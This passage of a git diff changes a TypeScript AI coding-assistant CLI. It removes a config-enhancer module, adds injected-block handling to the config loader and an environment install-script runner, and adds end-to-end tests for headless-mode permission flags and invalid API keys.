- expect(config.rules).toEqual(["existing rule", "new rule"]);
- });
-
- it("should not mutate original config", async () => {
- const originalConfig = { ...mockConfig };
- const options: BaseCommandOptions = {
- rule: ["test-rule"],
- };
-
- await enhancer.enhanceConfig(mockConfig, options);
-
- expect(mockConfig).toEqual(originalConfig);
- });
-
- it("should preserve hub slug as rule name", async () => {
- const options: BaseCommandOptions = {
- rule: ["nate/spanish"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- expect(config.rules).toHaveLength(1);
- expect(config.rules?.[0]).toEqual({
- name: "nate/spanish",
- rule: "Content for nate/spanish",
- });
- });
-
- it("should handle mix of hub slugs and direct content", async () => {
- const options: BaseCommandOptions = {
- rule: ["nate/spanish", "Always be helpful", "org/another-rule"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- expect(config.rules).toHaveLength(3);
- expect(config.rules?.[0]).toEqual({
- name: "nate/spanish",
- rule: "Content for nate/spanish",
- });
- expect(config.rules?.[1]).toBe("Always be helpful");
- expect(config.rules?.[2]).toEqual({
- name: "org/another-rule",
- rule: "Content for org/another-rule",
- });
- });
-
- it("should treat file paths as plain strings", async () => {
- const options: BaseCommandOptions = {
- rule: ["./rules/my-rule.md", "/absolute/path/rule.txt"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- expect(config.rules).toHaveLength(2);
- // File paths should be stored as plain strings
- expect(config.rules?.[0]).toBe("./rules/my-rule.md");
- expect(config.rules?.[1]).toBe("/absolute/path/rule.txt");
- });
-
- it("should prepend models from --model flag to make them default", async () => {
- // Mock loadPackagesFromHub to return test models
- const { loadPackagesFromHub } = await import("./hubLoader.js");
- (loadPackagesFromHub as any).mockResolvedValueOnce([
- { name: "GPT-5", provider: "openai", model: "gpt-5" },
- { name: "Claude-3", provider: "anthropic", model: "claude-3" },
- ]);
-
- // Set up existing models in config
- mockConfig.models = [
- { name: "GPT-4", provider: "openai", model: "gpt-4" },
- { name: "Claude-2", provider: "anthropic", model: "claude-2" },
- ];
-
- const options: BaseCommandOptions = {
- model: ["openai/gpt-5", "anthropic/claude-3"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- // Models from --model flag should be prepended (at the start)
- expect(config.models).toHaveLength(4);
- expect(config.models?.[0]).toEqual({
- name: "GPT-5",
- provider: "openai",
- model: "gpt-5",
- });
- expect(config.models?.[1]).toEqual({
- name: "Claude-3",
- provider: "anthropic",
- model: "claude-3",
- });
- expect(config.models?.[2]).toEqual({
- name: "GPT-4",
- provider: "openai",
- model: "gpt-4",
- });
- expect(config.models?.[3]).toEqual({
- name: "Claude-2",
- provider: "anthropic",
- model: "claude-2",
- });
- });
-
- it("should prepend MCPs from --mcp flag", async () => {
- // Mock loadPackagesFromHub to return test MCPs
- const { loadPackagesFromHub } = await import("./hubLoader.js");
- (loadPackagesFromHub as any).mockResolvedValueOnce([
- { name: "New-MCP", command: "new-mcp" },
- ]);
-
- // Set up existing MCPs in config
- mockConfig.mcpServers = [{ name: "Existing-MCP", command: "existing-mcp" }];
-
- const options: BaseCommandOptions = {
- mcp: ["test/new-mcp"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- // MCPs from --mcp flag should be prepended (at the start)
- expect(config.mcpServers).toHaveLength(2);
- expect(config.mcpServers?.[0]).toEqual({
- name: "New-MCP",
- command: "new-mcp",
- });
- expect(config.mcpServers?.[1]).toEqual({
- name: "Existing-MCP",
- command: "existing-mcp",
- });
- });
-});
diff --git a/extensions/cli/src/configEnhancer.ts b/extensions/cli/src/configEnhancer.ts
deleted file mode 100644
index ee1c9b254..000000000
--- a/extensions/cli/src/configEnhancer.ts
+++ /dev/null
@@ -1,153 +0,0 @@
-import { AssistantUnrolled, Rule } from "@continuedev/config-yaml";
-
-import { BaseCommandOptions } from "./commands/BaseCommandOptions.js";
-import {
- loadPackagesFromHub,
- mcpProcessor,
- modelProcessor,
- processRule,
-} from "./hubLoader.js";
-import { logger } from "./util/logger.js";
-
-/**
- * Enhances a configuration by injecting additional components from CLI flags
- */
-export class ConfigEnhancer {
- /**
- * Apply all enhancements to a configuration
- */
- async enhanceConfig(
- config: AssistantUnrolled,
- options: BaseCommandOptions,
- ): Promise {
- let enhancedConfig = { ...config };
-
- // Apply rules
- if (options.rule && options.rule.length > 0) {
- enhancedConfig = await this.injectRules(enhancedConfig, options.rule);
- }
-
- // Apply MCPs
- if (options.mcp && options.mcp.length > 0) {
- enhancedConfig = await this.injectMcps(enhancedConfig, options.mcp);
- }
-
- // Apply models
- if (options.model && options.model.length > 0) {
- enhancedConfig = await this.injectModels(enhancedConfig, options.model);
- }
-
- // Apply prompts
- if (options.prompt && options.prompt.length > 0) {
- enhancedConfig = await this.injectPrompts(enhancedConfig, options.prompt);
- }
-
- return enhancedConfig;
- }
-
- /**
- * Inject rules into the system message
- */
- private async injectRules(
- config: AssistantUnrolled,
- rules: string[],
- ): Promise {
- const processedRules: Rule[] = [];
-
- for (const ruleSpec of rules) {
- try {
- const processedContent = await processRule(ruleSpec);
-
- // Check if this is a hub slug (contains / but doesn't start with . or /)
- const isHubSlug =
- ruleSpec.includes("/") &&
- !ruleSpec.startsWith(".") &&
- !ruleSpec.startsWith("/");
-
- if (isHubSlug) {
- // Store as RuleObject with name (slug) and rule (content)
- processedRules.push({
- name: ruleSpec,
- rule: processedContent,
- });
- } else {
- // Store as plain string for file paths or direct content
- processedRules.push(processedContent);
- }
- } catch (error: any) {
- logger.warn(`Failed to process rule "${ruleSpec}": ${error.message}`);
- }
- }
-
- // Clone the config to avoid mutating the original
- const modifiedConfig = { ...config };
-
- // Add processed rules to the config's rules array
- if (processedRules.length > 0) {
- // Combine with existing rules if any
- const existingRules = modifiedConfig.rules || [];
- modifiedConfig.rules = [...existingRules, ...processedRules];
- }
-
- return modifiedConfig;
- }
-
- /**
- * Inject MCP servers into the configuration
- */
- private async injectMcps(
- config: AssistantUnrolled,
- mcps: string[],
- ): Promise {
- const processedMcps = await loadPackagesFromHub(mcps, mcpProcessor);
-
- // Clone the config to avoid mutating the original
- const modifiedConfig = { ...config };
-
- // Prepend processed MCPs to existing mcpServers array for consistency
- const existingMcpServers = (modifiedConfig as any).mcpServers || [];
- (modifiedConfig as any).mcpServers = [
- ...processedMcps,
- ...existingMcpServers,
- ];
-
- return modifiedConfig;
- }
-
- /**
- * Inject models into the configuration
- */
- private async injectModels(
- config: AssistantUnrolled,
- models: string[],
- ): Promise {
- const processedModels = await loadPackagesFromHub(models, modelProcessor);
-
- // Clone the config to avoid mutating the original
- const modifiedConfig = { ...config };
-
- // Prepend processed models to existing models array so they become the default
- const existingModels = (modifiedConfig as any).models || [];
- (modifiedConfig as any).models = [...processedModels, ...existingModels];
-
- return modifiedConfig;
- }
-
- /**
- * Inject prompts into the configuration
- */
- private async injectPrompts(
- config: AssistantUnrolled,
- prompts: string[],
- ): Promise {
- // For prompts, we'll need a different approach since they become slash commands
- // This is a placeholder implementation
- logger.debug("Prompt injection not yet implemented", { prompts });
- return config;
- }
-}
-
-/**
- * Global config enhancer instance
- */
-export const configEnhancer = new ConfigEnhancer();
diff --git a/extensions/cli/src/configLoader.ts b/extensions/cli/src/configLoader.ts
index 423875312..a95fe5d63 100644
--- a/extensions/cli/src/configLoader.ts
+++ b/extensions/cli/src/configLoader.ts
@@ -1,12 +1,15 @@
import * as fs from "fs";
import { dirname } from "node:path";
+import { fileURLToPath } from "node:url";
import * as path from "path";
import {
AssistantUnrolled,
+ mergeUnrolledAssistants,
PackageIdentifier,
RegistryClient,
unrollAssistant,
+ unrollAssistantFromContent,
} from "@continuedev/config-yaml";
import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js";
import chalk from "chalk";
@@ -18,11 +21,11 @@ import {
getConfigUri,
getOrganizationId,
isEnvironmentAuthConfig,
- loadAuthConfig,
updateConfigUri,
} from "./auth/workos.js";
import { CLIPlatformClient } from "./CLIPlatformClient.js";
import { env } from "./env.js";
+import { logger } from "./util/logger.js";
export interface ConfigLoadResult {
config: AssistantUnrolled;
@@ -34,7 +37,8 @@ export type ConfigSource =
| { type: "saved-uri"; uri: string }
| { type: "user-assistant"; slug: string }
| { type: "default-config-yaml" }
- | { type: "default-agent" };
+ | { type: "default-agent" }
+ | { type: "no-config" };
/**
* Streamlined configuration loader that implements the specification
@@ -44,12 +48,18 @@ export async function loadConfiguration(
authConfig: AuthConfig,
cliConfigPath: string | undefined,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
+ isHeadless: boolean | undefined,
): Promise {
const organizationId = getOrganizationId(authConfig);
const accessToken = getAccessToken(authConfig);
// Step 1: Determine config source using precedence rules
- const configSource = determineConfigSource(authConfig, cliConfigPath);
+ const configSource = determineConfigSource(
+ authConfig,
+ cliConfigPath,
+ isHeadless,
+ );
// Step 2: Load configuration from the determined source
const config = await loadFromSource(
@@ -57,6 +67,7 @@ export async function loadConfiguration(
accessToken,
organizationId ?? null,
apiClient,
+ injectBlocks,
);
// Step 3: Save config URI for session continuity (only for file-based auth)
@@ -79,6 +90,7 @@ export async function loadConfiguration(
function determineConfigSource(
authConfig: AuthConfig,
cliConfigPath: string | undefined,
+ isHeadless: boolean | undefined,
): ConfigSource {
// Priority 1: CLI --config flag
if (cliConfigPath) {
@@ -88,8 +100,25 @@ function determineConfigSource(
// Priority 2: Saved config URI (only for file-based auth)
if (!isEnvironmentAuthConfig(authConfig) && authConfig !== null) {
const savedUri = getConfigUri(authConfig);
+
if (savedUri) {
- return { type: "saved-uri", uri: savedUri };
+ if (savedUri.startsWith("file:")) {
+ let exists = false; // wrote like this for nested depth linting rule lol
+ try {
+ const filepath = fileURLToPath(savedUri);
+ exists = fs.existsSync(filepath);
+ } catch (e) {
+ logger.warn("Invalid saved file URI " + savedUri, e);
+ }
+ if (exists) {
+ return { type: "saved-uri", uri: savedUri };
+ } else {
+ logger.warn("Saved config URI does not exist: " + savedUri);
+ }
+ } else {
+ // slug
+ return { type: "saved-uri", uri: savedUri };
+ }
}
}
@@ -102,6 +131,10 @@ function determineConfigSource(
}
return { type: "default-agent" };
} else {
+ // In headless, user assistant fallback behavior isn't supported
+ if (isHeadless) {
+ return { type: "default-agent" };
+ }
// Authenticated: try user assistants first
return { type: "user-assistant", slug: "" }; // Empty slug means "first available"
}
@@ -115,6 +148,7 @@ async function loadFromSource(
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
try {
switch (source.type) {
@@ -124,6 +158,7 @@ async function loadFromSource(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
case "saved-uri":
@@ -132,21 +167,40 @@ async function loadFromSource(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
case "user-assistant":
- return await loadUserAssistantWithFallback(organizationId, apiClient);
+ return await loadUserAssistantWithFallback(
+ organizationId,
+ apiClient,
+ accessToken,
+ injectBlocks,
+ );
case "default-config-yaml":
return await loadDefaultConfigYaml(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
case "default-agent":
- return await loadDefaultAgent(organizationId, apiClient);
+ return await loadDefaultAgent(
+ organizationId,
+ apiClient,
+ accessToken,
+ injectBlocks,
+ );
+ case "no-config":
+ return await unrollPackageIdentifiersAsConfigYaml(
+ injectBlocks,
+ accessToken,
+ organizationId,
+ apiClient,
+ );
default:
throw new Error(`Unknown config source type: ${(source as any).type}`);
}
@@ -158,7 +212,12 @@ async function loadFromSource(
"Failed to load user assistants, falling back to default agent",
),
);
- return await loadDefaultAgent(organizationId, apiClient);
+ return await loadDefaultAgent(
+ organizationId,
+ apiClient,
+ accessToken,
+ injectBlocks,
+ );
}
throw error;
}
@@ -173,6 +232,7 @@ async function loadFromCliFlag(
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
if (isFilePath(configPath)) {
// Load local YAML file
@@ -181,10 +241,17 @@ async function loadFromCliFlag(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
} else {
// Load assistant slug
- return await loadAssistantSlug(configPath, organizationId, apiClient);
+ return await loadAssistantSlug(
+ configPath,
+ accessToken,
+ organizationId,
+ apiClient,
+ injectBlocks,
+ );
}
}
@@ -196,6 +263,7 @@ async function loadFromSavedUri(
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
const filePath = uriToPath(uri);
if (filePath) {
@@ -204,12 +272,19 @@ async function loadFromSavedUri(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
}
const slug = uriToSlug(uri);
if (slug) {
- return await loadAssistantSlug(slug, organizationId, apiClient);
+ return await loadAssistantSlug(
+ slug,
+ accessToken,
+ organizationId,
+ apiClient,
+ injectBlocks,
+ );
}
throw new Error(`Invalid saved config URI: ${uri}`);
@@ -221,6 +296,8 @@ async function loadFromSavedUri(
async function loadUserAssistantWithFallback(
organizationId: string | null,
apiClient: DefaultApiInterface,
+ accessToken: string | null,
+ injectBlocks: PackageIdentifier[],
): Promise {
const assistants = await apiClient.listAssistants({
alwaysUseProxy: "false",
@@ -240,12 +317,27 @@ async function loadUserAssistantWithFallback(
"Failed to load assistant.",
);
}
+ let apiConfig = result.config as AssistantUnrolled;
+ if (injectBlocks.length > 0) {
+ const injectedConfig = await unrollPackageIdentifiersAsConfigYaml(
+ injectBlocks,
+ accessToken,
+ organizationId,
+ apiClient,
+ );
+ apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig);
+ }
- return result.config as AssistantUnrolled;
+ return apiConfig;
}
// No user assistants, fall back to default agent
- return await loadDefaultAgent(organizationId, apiClient);
+ return await loadDefaultAgent(
+ organizationId,
+ apiClient,
+ accessToken,
+ injectBlocks,
+ );
}
/**
@@ -255,6 +347,7 @@ async function loadDefaultConfigYaml(
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
const defaultConfigPath = path.join(env.continueHome, "config.yaml");
return await loadConfigYaml(
@@ -262,6 +355,7 @@ async function loadDefaultConfigYaml(
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
}
@@ -271,6 +365,8 @@ async function loadDefaultConfigYaml(
async function loadDefaultAgent(
organizationId: string | null,
apiClient: DefaultApiInterface,
+ accessToken: string | null,
+ injectBlocks: PackageIdentifier[],
): Promise {
const resp = await apiClient.getAssistant({
ownerSlug: "continuedev",
@@ -281,18 +377,65 @@ async function loadDefaultAgent(
if (!resp.configResult.config) {
throw new Error("Failed to load default agent.");
}
+ let apiConfig = resp.configResult.config as AssistantUnrolled;
+ if (injectBlocks.length > 0) {
+ const injectedConfig = await unrollPackageIdentifiersAsConfigYaml(
+ injectBlocks,
+ accessToken,
+ organizationId,
+ apiClient,
+ );
+ apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig);
+ }
- return resp.configResult.config as AssistantUnrolled;
+ return apiConfig;
+}
+
+export async function unrollPackageIdentifiersAsConfigYaml(
+ packageIdentifiers: PackageIdentifier[],
+ accessToken: string | null,
+ organizationId: string | null,
+ apiClient: DefaultApiInterface,
+): Promise {
+ const unrollResult = await unrollAssistantFromContent(
+ {
+ uriType: "file",
+ fileUri: "",
+ },
+ "name: Agent\nschema: v1\nversion: 0.0.1",
+ new RegistryClient({
+ accessToken: accessToken ?? undefined,
+ apiBase: env.apiBase,
+ rootPath: undefined, // TODO verify this doesn't cause issues with file blocks
+ }),
+ {
+ currentUserSlug: "",
+ onPremProxyUrl: null,
+ orgScopeId: organizationId,
+ platformClient: new CLIPlatformClient(organizationId, apiClient),
+ renderSecrets: true,
+ injectBlocks: packageIdentifiers,
+ },
+ );
+ if (unrollResult.errors) {
+ const fatalError = unrollResult.errors?.find((e) => e.fatal);
+ if (fatalError) {
+ throw new Error(`Failed to load config: ${fatalError.message}`);
+ }
+ }
+ if (!unrollResult?.config) {
+ throw new Error(`Failed to load config`);
+ }
+
+ return unrollResult.config;
}
-/**
- * Common function to unroll an assistant with consistent configuration
- */
async function unrollAssistantWithConfig(
packageIdentifier: PackageIdentifier,
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
const unrollResult = await unrollAssistant(
packageIdentifier,
@@ -311,7 +454,7 @@ async function unrollAssistantWithConfig(
renderSecrets: true,
platformClient: new CLIPlatformClient(organizationId, apiClient),
onPremProxyUrl: null,
- injectBlocks: [],
+ injectBlocks,
},
);
@@ -337,12 +480,14 @@ async function loadConfigYaml(
accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
return await unrollAssistantWithConfig(
{ fileUri: filePath, uriType: "file" },
accessToken,
organizationId,
apiClient,
+ injectBlocks,
);
}
@@ -351,8 +496,10 @@ async function loadConfigYaml(
*/
async function loadAssistantSlug(
slug: string,
+ accessToken: string | null,
organizationId: string | null,
apiClient: DefaultApiInterface,
+ injectBlocks: PackageIdentifier[],
): Promise {
const [ownerSlug, packageSlug] = slug.split("/");
if (!ownerSlug || !packageSlug) {
@@ -360,7 +507,6 @@ async function loadAssistantSlug(
`Invalid assistant slug format. Expected "owner/package", got: ${slug}`,
);
}
-
// Unroll locally if not logged in
if (!(apiClient as any).configuration.accessToken) {
return await unrollAssistantWithConfig(
@@ -368,9 +514,10 @@ async function loadAssistantSlug(
uriType: "slug",
fullSlug: { ownerSlug, packageSlug, versionSlug: "latest" },
},
- getAccessToken(loadAuthConfig()),
+ accessToken ?? null,
organizationId,
apiClient,
+ injectBlocks,
);
}
@@ -389,8 +536,18 @@ async function loadAssistantSlug(
"Failed to load assistant.",
);
}
+ let apiConfig = result.config as AssistantUnrolled;
+ if (injectBlocks.length > 0) {
+ const injectedConfig = await unrollPackageIdentifiersAsConfigYaml(
+ injectBlocks,
+ accessToken,
+ organizationId,
+ apiClient,
+ );
+ apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig);
+ }
- return result.config as AssistantUnrolled;
+ return apiConfig;
}
/**
diff --git a/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts b/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts
index a13823c69..ccb2437c9 100644
--- a/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts
+++ b/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts
@@ -8,8 +8,8 @@ import {
} from "../test-helpers/cli-helpers.js";
import {
cleanupMockLLMServer,
- type MockLLMServer,
createMockLLMServer,
+ type MockLLMServer,
} from "../test-helpers/mock-llm-server.js";
describe("E2E: Headless Mode with ANTHROPIC_API_KEY", () => {
@@ -80,9 +80,9 @@ models:
expect(userMessage.content).toBe("Hi there");
}, 20000);
- it("should create config and work with ANTHROPIC_API_KEY when no config exists", async () => {
+ it("should create config but fail with invalid API key when no config exists", async () => {
// This test verifies that CLI automatically creates config from ANTHROPIC_API_KEY
- // when no config file exists in headless mode
+ // when no config file exists, but fails when the API key is invalid
const result = await runCLI(context, {
args: ["-p", "test prompt"],
@@ -90,13 +90,17 @@ models:
ANTHROPIC_API_KEY: "TEST-test-invalid-key-format",
CONTINUE_GLOBAL_DIR: context.testDir + "/.continue",
},
- expectError: false, // Config creation succeeds even with invalid key
+ expectError: true, // API call should fail with invalid key
timeout: 15000,
});
- // The CLI should create config and exit successfully in headless mode
- // (it doesn't actually make API calls unless there's a valid provider setup)
- expect(result.exitCode).toBe(0);
+ // The CLI should create config but fail due to invalid API key
+ // This is expected behavior - invalid API keys should cause authentication errors
+ expect(result.exitCode).toBe(1);
+
+ // Should contain authentication error (not service initialization error)
+ expect(result.stderr).toContain("authentication_error");
+ expect(result.stderr).toContain("invalid x-api-key");
// Should NOT contain the old error about service initialization
expect(result.stderr).not.toContain("Failed to initialize ConfigService");
@@ -111,7 +115,7 @@ models:
if (configExists) {
const configContent = await fs.readFile(configPath, "utf-8");
- expect(configContent).toContain("anthropic/claude-4-sonnet");
+ expect(configContent).toContain("anthropic/claude-sonnet-4-5");
expect(configContent).toContain(
"ANTHROPIC_API_KEY: TEST-test-invalid-key-format",
);
diff --git a/extensions/cli/src/e2e/headless-missing-prompt.test.ts b/extensions/cli/src/e2e/headless-missing-prompt.test.ts
index 18d38f7cd..762461312 100644
--- a/extensions/cli/src/e2e/headless-missing-prompt.test.ts
+++ b/extensions/cli/src/e2e/headless-missing-prompt.test.ts
@@ -147,4 +147,32 @@ models:
"A prompt is required when using the -p/--print flag",
);
});
+
+ it("should not require prompt when using --agent flag with -p", async () => {
+ await createTestConfig(
+ context,
+ `name: Test Assistant
+version: 1.0.0
+schema: v1
+models:
+ - model: gpt-4
+ provider: openai
+ apiKey: test-key
+ roles:
+ - chat`,
+ );
+
+ const result = await runCLI(context, {
+ args: ["-p", "--config", context.configPath, "--agent", "test/agent"],
+ env: { OPENAI_API_KEY: "test-key" },
+ expectError: true, // Will fail trying to load agent from hub, but should pass prompt validation
+ timeout: 5000,
+ });
+
+ // Should NOT show the "prompt required" error message
+ const output = result.stderr + result.stdout;
+ expect(output).not.toContain(
+ "A prompt is required when using the -p/--print flag",
+ );
+ });
});
diff --git a/extensions/cli/src/e2e/headless-permission-error.test.ts b/extensions/cli/src/e2e/headless-permission-error.test.ts
new file mode 100644
index 000000000..baacb86b6
--- /dev/null
+++ b/extensions/cli/src/e2e/headless-permission-error.test.ts
@@ -0,0 +1,152 @@
+/**
+ * E2E test for headless mode permission errors
+ * Verifies that when a tool requires permission in headless mode,
+ * an appropriate error message is displayed suggesting the --auto flag
+ */
+import * as http from "http";
+
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+
+import {
+ cleanupTestContext,
+ createTestContext,
+ runCLI,
+} from "../test-helpers/cli-helpers.js";
+import {
+ cleanupMockLLMServer,
+ setupMockLLMTest,
+ type MockLLMServer,
+} from "../test-helpers/mock-llm-server.js";
+
+describe("E2E: Headless Mode Permission Errors", () => {
+ let context: any;
+ let mockServer: MockLLMServer;
+
+ beforeEach(async () => {
+ context = await createTestContext();
+ });
+
+ afterEach(async () => {
+ if (mockServer) {
+ await cleanupMockLLMServer(mockServer);
+ }
+ await cleanupTestContext(context);
+ });
+
+ it("should succeed with --auto flag when tool requires permission", async () => {
+ // Set up mock LLM to return a Write tool call
+ mockServer = await setupMockLLMTest(context, {
+ customHandler: (req: http.IncomingMessage, res: http.ServerResponse) => {
+ let body = "";
+ req.on("data", (chunk) => {
+ body += chunk.toString();
+ });
+
+ req.on("end", () => {
+ if (req.method === "POST" && req.url === "/chat/completions") {
+ res.writeHead(200, {
+ "Content-Type": "text/event-stream",
+ "Cache-Control": "no-cache",
+ Connection: "keep-alive",
+ });
+
+ // Send a Write tool call
+ res.write(
+ `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"id":"call_write","type":"function","function":{"name":"Write"}}]},"index":0}]}\n\n`,
+ );
+ res.write(
+ `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\\"filepath\\":\\"test.txt\\",\\"content\\":\\"hello\\"}"}}]},"index":0}]}\n\n`,
+ );
+
+ // Send usage data
+ res.write(
+ `data: {"usage":{"prompt_tokens":10,"completion_tokens":20}}\n\n`,
+ );
+
+ // End the stream
+ res.write(`data: [DONE]\n\n`);
+ res.end();
+ } else {
+ res.writeHead(404);
+ res.end("Not found");
+ }
+ });
+ },
+ });
+
+ // Run CLI with --auto flag
+ const result = await runCLI(context, {
+ args: [
+ "-p",
+ "--auto",
+ "--config",
+ context.configPath,
+ "Create a file test.txt",
+ ],
+ timeout: 15000,
+ });
+
+ // Should succeed
+ expect(result.exitCode).toBe(0);
+ expect(result.stderr).not.toContain("requires permission");
+ }, 20000);
+
+ it("should succeed with --allow flag for specific tool", async () => {
+ // Set up mock LLM to return a Write tool call
+ mockServer = await setupMockLLMTest(context, {
+ customHandler: (req: http.IncomingMessage, res: http.ServerResponse) => {
+ let body = "";
+ req.on("data", (chunk) => {
+ body += chunk.toString();
+ });
+
+ req.on("end", () => {
+ if (req.method === "POST" && req.url === "/chat/completions") {
+ res.writeHead(200, {
+ "Content-Type": "text/event-stream",
+ "Cache-Control": "no-cache",
+ Connection: "keep-alive",
+ });
+
+ // Send a Write tool call
+ res.write(
+ `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"id":"call_write","type":"function","function":{"name":"Write"}}]},"index":0}]}\n\n`,
+ );
+ res.write(
+ `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\\"filepath\\":\\"test.txt\\",\\"content\\":\\"hello\\"}"}}]},"index":0}]}\n\n`,
+ );
+
+ // Send usage data
+ res.write(
+ `data: {"usage":{"prompt_tokens":10,"completion_tokens":20}}\n\n`,
+ );
+
+ // End the stream
+ res.write(`data: [DONE]\n\n`);
+ res.end();
+ } else {
+ res.writeHead(404);
+ res.end("Not found");
+ }
+ });
+ },
+ });
+
+ // Run CLI with --allow Write flag
+ const result = await runCLI(context, {
+ args: [
+ "-p",
+ "--allow",
+ "Write",
+ "--config",
+ context.configPath,
+ "Create a file test.txt",
+ ],
+ timeout: 15000,
+ });
+
+ // Should succeed
+ expect(result.exitCode).toBe(0);
+ expect(result.stderr).not.toContain("requires permission");
+ }, 20000);
+});
diff --git a/extensions/cli/src/environment/environmentHandler.ts b/extensions/cli/src/environment/environmentHandler.ts
new file mode 100644
index 000000000..55afac91a
--- /dev/null
+++ b/extensions/cli/src/environment/environmentHandler.ts
@@ -0,0 +1,123 @@
+import { exec } from "child_process";
+import { existsSync, readFileSync } from "fs";
+import path from "path";
+import { promisify } from "util";
+
+import chalk from "chalk";
+
+const execAsync = promisify(exec);
+
+import { formatError } from "../util/formatError.js";
+import { logger } from "../util/logger.js";
+
+interface EnvironmentConfig {
+ install?: string;
+}
+
+const ENVIRONMENT_FILE_NAME = "environment.json";
+const ENVIRONMENT_SEARCH_PATHS = [".continue"];
+
+/**
+ * Finds and reads the environment.json file
+ */
+function findEnvironmentFile(): EnvironmentConfig | null {
+ for (const searchPath of ENVIRONMENT_SEARCH_PATHS) {
+ const environmentPath = path.join(
+ process.cwd(),
+ searchPath,
+ ENVIRONMENT_FILE_NAME,
+ );
+
+ if (existsSync(environmentPath)) {
+ try {
+ const content = readFileSync(environmentPath, "utf-8");
+ const config = JSON.parse(content) as EnvironmentConfig;
+ logger.debug(`Found environment.json at: ${environmentPath}`);
+ return config;
+ } catch (error) {
+ logger.error(
+ `Failed to parse environment.json at ${environmentPath}: ${formatError(error)}`,
+ );
+ return null;
+ }
+ }
+ }
+
+ logger.debug("No environment.json file found");
+ return null;
+}
+
+/**
+ * Runs the install script from environment.json if present
+ * Now runs asynchronously to avoid blocking server startup
+ */
+export async function runEnvironmentInstall(): Promise {
+ const environmentConfig = findEnvironmentFile();
+
+ if (!environmentConfig || !environmentConfig.install) {
+ logger.debug("No install script found in environment.json, skipping...");
+ return;
+ }
+
+ const installScript = environmentConfig.install;
+ logger.debug(
+ chalk.blue(
+ `\nRunning environment install script: ${chalk.dim(installScript)}`,
+ ),
+ );
+
+ try {
+ await execAsync(installScript, {
+ cwd: process.cwd(),
+ encoding: "utf-8",
+ });
+
+ logger.debug(
+ chalk.green("✓ Environment install script completed successfully"),
+ );
+ } catch (error) {
+ logger.error(`Environment install script failed: ${formatError(error)}`);
+ throw new Error(
+ `Failed to run environment install script: ${formatError(error)}`,
+ );
+ }
+}
+
+/**
+ * Runs the install script from environment.json if present, with error handling
+ * This version doesn't throw errors to avoid blocking server startup
+ */
+export async function runEnvironmentInstallSafe(): Promise {
+ const environmentConfig = findEnvironmentFile();
+
+ if (!environmentConfig || !environmentConfig.install) {
+ logger.debug("No environment install script to run");
+ return;
+ }
+
+ logger.debug(
+ chalk.blue("Running environment install script in background..."),
+ );
+
+ try {
+ await runEnvironmentInstall();
+ logger.debug(
+ chalk.green("✓ Environment install script completed successfully"),
+ );
+ } catch (error) {
+ logger.error(
+ chalk.yellow("Warning: Environment install script failed:"),
+ formatError(error),
+ );
+ logger.error(
+ chalk.dim("Server will continue to run without the install script."),
+ );
+ }
+}
+
+/**
+ * Gets the environment configuration if available
+ */
+export function getEnvironmentConfig(): EnvironmentConfig | null {
+ return findEnvironmentFile();
+}
diff --git a/extensions/cli/src/freeTrialTransition.ts b/extensions/cli/src/freeTrialTransition.ts
index 5f6217345..484b9d672 100644
--- a/extensions/cli/src/freeTrialTransition.ts
+++ b/extensions/cli/src/freeTrialTransition.ts
@@ -3,15 +3,16 @@ import * as fs from "fs";
import * as path from "path";
import chalk from "chalk";
+import { setConfigFilePermissions } from "core/util/paths.js";
import open from "open";
-import * as readlineSync from "readline-sync";
import { env } from "./env.js";
import {
- isValidAnthropicApiKey,
getApiKeyValidationError,
+ isValidAnthropicApiKey,
} from "./util/apiKeyValidation.js";
import { gracefulExit } from "./util/exit.js";
+import { question, questionWithChoices } from "./util/prompt.js";
import { updateAnthropicModelInYaml } from "./util/yamlConfigUpdater.js";
const CONFIG_PATH = path.join(env.continueHome, "config.yaml");
@@ -32,6 +33,7 @@ async function createOrUpdateConfig(apiKey: string): Promise {
const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey);
fs.writeFileSync(CONFIG_PATH, updatedContent);
+ setConfigFilePermissions(CONFIG_PATH);
}
/**
@@ -52,10 +54,12 @@ export async function handleMaxedOutFreeTrial(
console.log(chalk.white("1. 💳 Sign up for models add-on"));
console.log(chalk.white("2. 🔑 Enter your Anthropic API key"));
- const choice = readlineSync.question(chalk.yellow("\nEnter choice (1): "), {
- limit: ["1", "2", ""],
- limitMessage: chalk.dim("Please enter 1 or 2"),
- });
+ const choice = await questionWithChoices(
+ chalk.yellow("\nEnter choice (1): "),
